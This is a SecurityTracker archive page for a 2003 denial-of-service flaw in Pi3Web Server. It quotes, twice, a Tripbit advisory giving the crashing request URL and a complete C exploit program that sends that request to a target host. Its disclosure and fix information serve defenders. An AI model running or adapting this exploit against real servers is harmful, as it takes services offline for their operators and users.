SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Server/CGI)  >   Pi3Web Vendors:   Roy, John
Pi3Web Server Flaw in Sorting Directory Index Listings May Let Remote Users Crash the Web Service
SecurityTracker Alert ID:  1006913
SecurityTracker URL:  http://securitytracker.com/id/1006913
CVE Reference:   CVE-2003-1032   (Links to External Site)
Updated:  Jun 14 2008
Original Entry Date:  Jun 3 2003
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 2.0.2 Beta 1
Description:   A vulnerability was reported in the Pi3Web Server. A remote user can cause the server to crash in certain cases.

Tripbit Security issued an advisory warning that, under certain configurations, a remote user can issue a specially crafted request to cause the web service to crash.

The flaw reportedly resides in the 'Name' column of the Directory Index. The system is affected if either the 'HTML index with tables', 'HTML index with fixed font', or 'Generic HTML index' general layouts are used. Also, the 'Name' Column option and 'Column title as hyperlink' Sorting option must be activated, according to the report.

A demonstration exploit URL is provided:

http://[target]/</?SortName=A

A demonstration exploit script is provided in the Source Message.

Impact:   A remote user can cause the web service to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  pi3web.sourceforge.net/pi3web/ (Links to External Site)
Cause:   State error
Underlying OS:   Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Jun 5 2003 (Vendor Issues Fix) Re: Pi3Web Server Flaw in Sorting Directory Index Listings May Let Remote Users Crash the Web Service   (Holger Zimmermann <zimpel@users.sourceforge.net>)
The vendor has issued a fix.



 Source Message Contents

Date:  Mon, 02 Jun 2003 22:40:18 +0200
Subject:  Tripbit Advisory TA-2003-05 Buffer Overflow Vulnerability in Pi3


--------------030804070206030500040404
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Tripbit Advisory TA-2003-05 Buffer Overflow Vulnerability in Pi3 Web 
Server v2.0.2 Beta 1
=========================================================================================





PROGRAM: Pi3 Web Server
HOMEPAGE: http://pi3web.sourceforge.net/pi3web/
VULNERABLE VERSIONS: v2.0.2 Beta 1
RISK: Medium/High
IMPACT: Denial of Service
RELEASE DATE: 2003-05





========================================================================================
TABLE OF CONTENTS
========================================================================================

1............................................................................DESCRIPTION 

2................................................................................DETAILS 

3................................................................................EXPLOIT 

4..............................................................................SOLUTIONS 

5..........................................................................VENDOR 
STATUS
6................................................................................CREDITS 

7.............................................................................DISCLAIMER 

8.............................................................................REFERENCES 

9...............................................................................FEEDBACK





1. DESCRIPTION
========================================================================================


The Pi3 Component architecture is a high performance server based suite 
of libraries to
enable rapid development of server software. One of the components 
available for this
architecture is Pi3Web. A buffer overflow vulnerability in the product 
allows remote
attackers to crash the server by issuing a malformed request.





2. DETAILS
========================================================================================


The problem lies in the Directory Index with "Name" as Hyperlink Column. 
If following
configuration is in use, allow this a remote attacker to crash the 
server by issuing
this malformed request:


http://host.com/</?SortName=A



The administrator of the server must use one of the following directory 
layouts:

General Layout
--------------
[*] HTML index with tables

or

[*] HTML index with fixed font

or

[*] Generic HTML index



For this vulnerability must this two options set:  

Columns
-------
[*] Name - must be activated!


Sorting
-------
[*] Column title as hyperlink - must be activated!





3. EXPLOIT
========================================================================================


/*********************************************************************
*
*     Denial of Service Attack against Pi3 Web Server v2.0.2 05/2003
*    
*
*    Tripbit Security Development
*    ----------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: posidron@tripbit.org
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*       [-] IRC: irc.euirc.net 6667 #tripbit
*
*
*    Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe
*     Special thx: PeaceTreaty (securecrew.net)
*
*********************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;
    
    char sendstring[1024];
    
    strcpy(sendstring,"GET /</?SortName=A HTTP/1.0\n\n");

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n",argv[0]);
        exit(0);
    }
    
    port = atoi(argv[2]);
    
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...\n");
        exit(0);
    }
    
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);
    
    if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
    {
        printf("Can't start socket()!\n");
        exit(0);
    }
    
    if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
    {
        printf("Can't connect!\n");
        exit(0);
    }
    
    printf("Dos against Pi3 Web Server v2.0.2\n");
    
    write(sockfd,sendstring,strlen(sendstring));
    
    printf("Attack done!...\n");
    
    close(sockfd);
}





4. SOLUTIONS
========================================================================================


Download the new Version, it is available on Sourceforge.

http://osdn.dl.sourceforge.net/sourceforge/pi3web/Pi3Web-x86Win32-2_0_2-beta2.exe 






5. VENDOR STATUS
========================================================================================


The vendor has reportedly been notified and fix the bug in Version 2.0.2 
Beta 1.





6. CREDITS
========================================================================================


Rushjo, Tec, MisterMoe, Havoc][, PeaceTreaty, STeFaN





7. DISLAIMER
========================================================================================


The information within this paper may change without notice. Use of this 
information
constitutes acceptance for use in an AS IS condition. There are NO 
warranties with
regard to this information. In no event shall the author be liable for 
any damages
whatsoever arising out of or in connection with the use or spread of 
this information.
Any use of this information is at the user's own risk.





8. RFERENCES
========================================================================================


http://www.tripbit.org





9. FEEDBACK
========================================================================================


Please send suggestions, updates, and comments to:


Tripbit Security Advisory

Site: http://www.tripbit.org

Mail: posidron@tripbit.org
      rushjo@tripbit.org
      tec@tripbit.org


--------------030804070206030500040404
Content-Type: text/plain;
 name="pi3_advisory.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="pi3_advisory.txt"

Tripbit Advisory TA-2003-05 Buffer Overflow Vulnerability in Pi3 Web Server v2.0.2 Beta 1
=========================================================================================





PROGRAM: Pi3 Web Server
HOMEPAGE: http://pi3web.sourceforge.net/pi3web/
VULNERABLE VERSIONS: v2.0.2 Beta 1
RISK: Medium/High
IMPACT: Denial of Service
RELEASE DATE: 2003-05





========================================================================================
TABLE OF CONTENTS 
========================================================================================

1............................................................................DESCRIPTION 
2................................................................................DETAILS 
3................................................................................EXPLOIT 
4..............................................................................SOLUTIONS 
5..........................................................................VENDOR STATUS 
6................................................................................CREDITS 
7.............................................................................DISCLAIMER 
8.............................................................................REFERENCES 
9...............................................................................FEEDBACK





1. DESCRIPTION 
========================================================================================


The Pi3 Component architecture is a high performance server based suite of libraries to 
enable rapid development of server software. One of the components available for this 
architecture is Pi3Web. A buffer overflow vulnerability in the product allows remote 
attackers to crash the server by issuing a malformed request.





2. DETAILS
========================================================================================


The problem lies in the Directory Index with "Name" as Hyperlink Column. If following 
configuration is in use, allow this a remote attacker to crash the server by issuing 
this malformed request:


http://host.com/</?SortName=A 



The administrator of the server must use one of the following directory layouts:

General Layout
--------------
[*] HTML index with tables

or

[*] HTML index with fixed font

or

[*] Generic HTML index



For this vulnerability must this two options set:  

Columns
-------
[*] Name - must be activated!


Sorting
-------
[*] Column title as hyperlink - must be activated!





3. EXPLOIT 
========================================================================================


/*********************************************************************
*
* 	Denial of Service Attack against Pi3 Web Server v2.0.2 05/2003
*	
*
*	Tripbit Security Development
*	----------------------------
*
*	Author: posidron
*
*	Contact
*	[-] Mail: posidron@tripbit.org
*	[-] Web: http://www.tripbit.org
*	[-] Forum: http://www.tripbit.org/wbboard
*       [-] IRC: irc.euirc.net 6667 #tripbit
*
*
*	Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe
* 	Special thx: PeaceTreaty (securecrew.net)
*
*********************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
	int port, sockfd;
	struct sockaddr_in server;
	struct hostent *host;
	
	char sendstring[1024];
	
	strcpy(sendstring,"GET /</?SortName=A HTTP/1.0\n\n");

	if(argc < 3)
	{
		printf("Usage: %s [target] <port>\n",argv[0]);
		exit(0);
	}
	
	port = atoi(argv[2]);
	
	host = gethostbyname(argv[1]);
	if(host == NULL)
	{
		printf("Connection failed!...\n");
		exit(0);
	}
	
	server.sin_family = AF_INET;
	server.sin_port = htons(port);
	server.sin_addr.s_addr = inet_addr((char*)argv[1]);
	
	if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
	{
		printf("Can't start socket()!\n");
		exit(0);
	}
	
	if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
	{
		printf("Can't connect!\n");
		exit(0);
	}
	
	printf("Dos against Pi3 Web Server v2.0.2\n");
	
	write(sockfd,sendstring,strlen(sendstring));
	
	printf("Attack done!...\n");
	
	close(sockfd);
}





4. SOLUTIONS
========================================================================================


Download the new Version, it is available on Sourceforge.

http://osdn.dl.sourceforge.net/sourceforge/pi3web/Pi3Web-x86Win32-2_0_2-beta2.exe 





5. VENDOR STATUS
========================================================================================


The vendor has reportedly been notified and fix the bug in Version 2.0.2 Beta 1.





6. CREDITS
========================================================================================


Rushjo, Tec, MisterMoe, Havoc][, PeaceTreaty, STeFaN





7. DISLAIMER 
========================================================================================


The information within this paper may change without notice. Use of this information 
constitutes acceptance for use in an AS IS condition. There are NO warranties with 
regard to this information. In no event shall the author be liable for any damages 
whatsoever arising out of or in connection with the use or spread of this information. 
Any use of this information is at the user's own risk. 





8. RFERENCES
========================================================================================


http://www.tripbit.org





9. FEEDBACK 
========================================================================================


Please send suggestions, updates, and comments to: 


Tripbit Security Advisory

Site: http://www.tripbit.org

Mail: posidron@tripbit.org
      rushjo@tripbit.org
      tec@tripbit.org


--------------030804070206030500040404--


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC